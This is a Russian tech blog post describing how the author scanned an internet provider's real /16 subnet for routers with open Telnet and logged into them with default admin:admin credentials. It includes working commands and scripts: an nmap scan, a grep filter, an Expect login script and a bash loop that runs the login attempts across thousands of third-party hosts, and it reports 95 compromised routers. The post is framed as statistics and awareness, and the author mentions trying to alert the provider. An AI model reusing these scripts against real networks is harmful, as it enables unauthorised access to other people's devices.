Как стать автором
Обновить

Автоматический поиск роутеров со стандартными паролями

Время на прочтение4 мин
Количество просмотров62K
Недавно мне пришла в голову банальная мысль, что большинство людей кладут на настройку своих роутеров, и на них можно зайти по дефолтным паролям. А много ли таких роутеров вдобавок открыты для входа из интернета, что делает их проходным двором? И как это по-быстрому проверить?

Итак, задача: просканировать какую-нибудь подсеть и найти уязвимые роутеры.

Условия выполнения: не более нескольких часов (на дворе всё-таки лето), используя только стандартные средства системы Linux. Да, я в курсе про проекты типа Kali и вагоны «хакерского» софта в них, но найти нужную программу, которая сделала бы это прямо «из коробки» мне сходу не удалось, а время-то идёт… Да и интереснее самому.

Первая мысль, которая приходит в голову: сканировать nmap'ом по открытому 80 порту. Но что делать с огромным зоопарком веб-морд? Ведь цель — не написать универсальный комбайн-уничтожитель роутеров, а небольшой proof-of-concept. А нет ли какой-нибудь унифицированной системы авторизации на роутерах? Конечно же есть — Telnet! Начинаем!

Выбираем жертв: вводим в Google «имя_провайдера диапазон адресов». Я выбрал провайдера на букву «У» и одну из его подсетей вида XX.XX.00.00/16, то есть ни много ни мало ~65536 адресов.
nmap --open XX.XX.0.0/16 -p 23 > raw_log.txt

Так мы ищем роутеры (и любые другие железки) с открытым 23 портом (Telnet), а ключ --open позволяет вывести только нужные адреса, что упрощает дальнейшую обработку.

Проходит немногим более 40 минут, и список из 2100 адресов у нас на рабочем столе. А всего было доступными 18000 хостов.

Для наших целей выхлоп nmap слишком пёстрый, его скрипту не скормишь, нужно отсеять только адреса. С этим справится незаменимый grep, а именно:
grep -o -E '([0-9]{1,3}[\.]){3}[0-9]{1,3}' raw_log.txt > log.txt

Регулярное выражение может испугать начинающего греповца, но на самом деле оно очень простое: блок вида «от одной до трёх цифр + точка» трижды + блок «от одной до трёх цифр». Ключ -o выводит только найденную подстроку, что нам и требуется.

Можно немного отдохнуть и поподключаться вручную к данным IP с помощью telnet. Кое-где соединение обрывается, но много где и подключается. Более того, из десятка попробованных IP уже два оказалось рабочими роутерами с автоматическим логином и паролем admin, что не может не радовать.

Кто-то бы на этом остановился, но только не мы, ведь наша цель — не похозяйничать в чужих роутерах, а более возвышенная — статистическое исследование.

Попытки автоматизации telnet'а «в лоб» не увенчались успехом: просто так его в bash-скрипт завернуть не удавалось. Проблема была в автоматической подстановке пароля: все известные мне способы (пайпы, эхи и кэты) здесь не сработали. Пришлось открывать для себя способы неизвестные: Expect — инструмент для автоматизации и тестирования в ОС Unix, написанный Don Libes как расширение к скрипт-языку Tcl, для интерактивных приложений таких, как telnet, ftp, passwd, fsck, rlogin, tip, ssh, и других. В статье из википедии первым же примером приводится автоматическая авторизация по telnet — ну просто подарок. Код пришлось немного «подпилить» под свои нужды, вот уже готовое тело программы для перебора: исполняемый файл try_telnet
#!/usr/bin/expect -f

set SERVER	[lindex $argv 0];
set USER 	[lindex $argv 1];
set PASS 	[lindex $argv 2];

set timeout 1

spawn telnet $SERVER
expect ":"
send  "$USER\r"
expect ":"
send  "$PASS\r"
expect ">" {puts "\nFOUND $SERVER $USER:$PASS\n"; exit 0}
exit 1

Команда expect следует своему буквальному значению: ждёт приглашения на ввод логина и пароля, а потом и ввода команд. Если получен шелл, то скрипт радостно рапортует об этом в общий поток вывода строкой, которую потом удобно грепать.

Интересный факт: в Википедии и других ресурсах в качестве маркера шелла указан "#". Путём экспериментов выяснилось, что этот способ не работает на большой доле уязвимых роутеров, а именно TP-LINK, которые дают приглашение на ввод команд вида
TP-LINK>

Однако маркер ">" универсален — он работает и на узявимых D-Link, которые дают приглашение вида
DSL-2600U# 

Осталось только написать однострочный bash: исполняемый файл brute
#!/bin/bash
while read line; do ./try_telnet $line admin admin; done < log.txt

И запускаем
./brute > out.txt

В stderr скрипт ругается в случае connection refused — не обращайте внимания. Полезную работу скрипта можно вживую наблюдать в файле out.txt (не забывая его периодически обновлять).

Проходит 35 минут и скрипт завершает работу. Просеиваем результат с помощью
grep 'FOUND' out.txt > final.txt

Получаем 95 роутеров с авторизацией admin:admin — цель достигнута.

В итоге из 18000 адресов оказалось 95 роутеров, на которые из любой точки земного шара можно зайти по admin:admin. Веб-интерфейс у всех тоже открыт. Много это или мало? Напоминаю, что мы искали лишь роутеры с открытым telnet, и попробовали лишь одну стандартную связку для авторизации (хоть и самую распространённую).

В основном оказались уязвимы роутеры TP-LINK и D-link различных моделей. Если у вас такой роутер, то его стоит проверить! Также нашлось несколько ZyXEL, Huawei, Asotel, ZTE.

В заключение хочу сказать, что я честно попытался информировать провайдера, однако электронной почты у него нет, толька форма «для обращений» с полями обязательного ввода «домашний адрес» и «телефон». Тогда друг и посоветовал написать на Хабрахабр. Всем спасибо!
Теги:
Хабы:
Всего голосов 26: ↑24 и ↓2+22
Комментарии13

Публикации

Истории

Работа

Ближайшие события

28 ноября
Конференция «TechRec: ITHR CAMPUS»
МоскваОнлайн
2 – 18 декабря
Yandex DataLens Festival 2024
МоскваОнлайн
11 – 13 декабря
Международная конференция по AI/ML «AI Journey»
МоскваОнлайн
25 – 26 апреля
IT-конференция Merge Tatarstan 2025
Казань